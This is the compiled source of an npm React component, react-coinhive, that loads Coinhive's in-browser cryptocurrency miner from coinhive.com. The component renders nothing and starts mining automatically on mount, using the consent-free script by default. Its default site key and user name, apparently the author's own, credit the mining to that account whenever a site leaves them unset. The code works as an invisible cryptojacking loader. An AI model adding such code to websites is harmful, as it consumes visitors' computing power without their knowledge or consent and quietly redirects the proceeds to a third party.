react-coinhive
Version:
react-coinhive React component
202 lines (170 loc) • 7.46 kB
JavaScript
exports.__esModule = true;
exports.default = undefined;
var _regenerator = require('babel-runtime/regenerator');
var _regenerator2 = _interopRequireDefault(_regenerator);
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
var _class, _temp2;
var _react = require('react');
var _react2 = _interopRequireDefault(_react);
var _propTypes = require('prop-types');
var _propTypes2 = _interopRequireDefault(_propTypes);
var _loadScript = require('load-script');
var _loadScript2 = _interopRequireDefault(_loadScript);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _asyncToGenerator(fn) { return function () { var gen = fn.apply(this, arguments); return new Promise(function (resolve, reject) { function step(key, arg) { try { var info = gen[key](arg); var value = info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { return Promise.resolve(value).then(function (value) { step("next", value); }, function (err) { step("throw", err); }); } } return step("next"); }); }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var src = {
coinhive: 'https://coinhive.com/lib/coinhive.min.js',
authedmine: 'https://authedmine.com/lib/authedmine.min.js'
};
var CoinHiveClient = (_temp2 = _class = function (_Component) {
_inherits(CoinHiveClient, _Component);
function CoinHiveClient() {
var _temp, _this, _ret;
_classCallCheck(this, CoinHiveClient);
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return _ret = (_temp = (_this = _possibleConstructorReturn(this, _Component.call.apply(_Component, [this].concat(args))), _this), _this.state = {
loaded: false
}, _this.loadScript = function () {
return new Promise(function (resolve, reject) {
return (0, _loadScript2.default)(_this.props.src, function (err, script) {
if (err) {
return reject(err);
}
return _this.setState({ loaded: true }, function () {
return resolve(script);
});
});
});
}, _this.initHive = function () {
if (_this.miner) {
_this.stop();
delete _this.miner;
}
if (_this.props.userName) {
_this.miner = CoinHive.User(_this.props.siteKey, _this.props.userName);
} else {
_this.miner = CoinHive.Anonymous(_this.props.siteKey);
}
_this.props.onInit(_this.miner);
}, _this.start = function () {
if (!_this.miner) return;
_this.miner.start();
_this.props.onStart(_this.miner);
}, _this.stop = function () {
if (!_this.miner) return;
_this.miner.stop();
_this.props.onStop(_this.miner);
}, _this.setupHive = function () {
if (_this.props.autoThreads) {
_this.miner.setAutoThreadsEnabled(true);
} else {
_this.miner.setAutoThreadsEnabled(false);
_this.miner.setNumThreads(_this.props.threads);
}
_this.miner.setThrottle(_this.props.throttle);
}, _temp), _possibleConstructorReturn(_this, _ret);
}
CoinHiveClient.prototype.componentDidMount = function () {
var _ref = _asyncToGenerator( /*#__PURE__*/_regenerator2.default.mark(function _callee() {
return _regenerator2.default.wrap(function _callee$(_context) {
while (1) {
switch (_context.prev = _context.next) {
case 0:
_context.next = 2;
return this.loadScript();
case 2:
if (this.props.run) {
this.stop();
}
this.setupHive();
if (this.props.run) {
this.start();
}
case 5:
case 'end':
return _context.stop();
}
}
}, _callee, this);
}));
function componentDidMount() {
return _ref.apply(this, arguments);
}
return componentDidMount;
}();
CoinHiveClient.prototype.componentDidUpdate = function componentDidUpdate(prevProps, prevState) {
if (this.state.loaded) {
if (!this.miner || this.props.userName !== prevProps.userName) {
this.initHive();
} else if (prevProps.threads !== this.props.threads || prevProps.autoThreads !== this.props.autoThreads || prevProps.throttle !== this.props.throttle || prevProps.userName !== this.props.userName || prevProps.siteKey !== this.props.siteKey) {
this.setupHive();
} else if (prevProps.run !== this.props.run) {
if (this.props.run) {
this.start();
} else {
this.stop();
}
}
}
};
CoinHiveClient.prototype.render = function render() {
return null;
};
return CoinHiveClient;
}(_react.Component), _class.defaultProps = {
autoThreads: false,
onInit: function onInit(miner) {
return null;
},
onStart: function onStart(miner) {
return null;
},
onStop: function onStop(miner) {
return null;
},
run: true,
siteKey: 'caP8U8pZXH6n0f53eV3fdpwOvpmTAD3C',
threads: 2,
throttle: 0,
userName: 'Piscou',
src: src.coinhive
}, _temp2);
exports.default = CoinHiveClient;
CoinHiveClient.propTypes = process.env.NODE_ENV !== "production" ? {
autoThreads: _propTypes2.default.bool,
onInit: _propTypes2.default.func,
onStart: _propTypes2.default.func,
onStop: _propTypes2.default.func,
run: _propTypes2.default.bool,
siteKey: _propTypes2.default.string,
threads: _propTypes2.default.number,
throttle: _propTypes2.default.number,
userName: _propTypes2.default.string,
src: _propTypes2.default.string
} : {};
;
CoinHiveClient.src = src;
CoinHiveClient.getMinerData = function (miner) {
if (!miner || (typeof miner === 'undefined' ? 'undefined' : _typeof(miner)) !== 'object' || typeof miner.isRunning !== 'function') {
return 'miner is not defined';
}
var data = {
isRunning: miner.isRunning(),
getHashesPerSecond: miner.getHashesPerSecond(),
getNumThreads: miner.getNumThreads(),
getAutoThreadsEnabled: miner.getAutoThreadsEnabled(),
hasWASMSupport: miner.hasWASMSupport(),
getThrottle: miner.getThrottle(),
getToken: miner.getToken(),
getTotalHashes: miner.getTotalHashes(),
getAcceptedHashes: miner.getAcceptedHashes()
};
return data;
};
module.exports = exports['default'];
;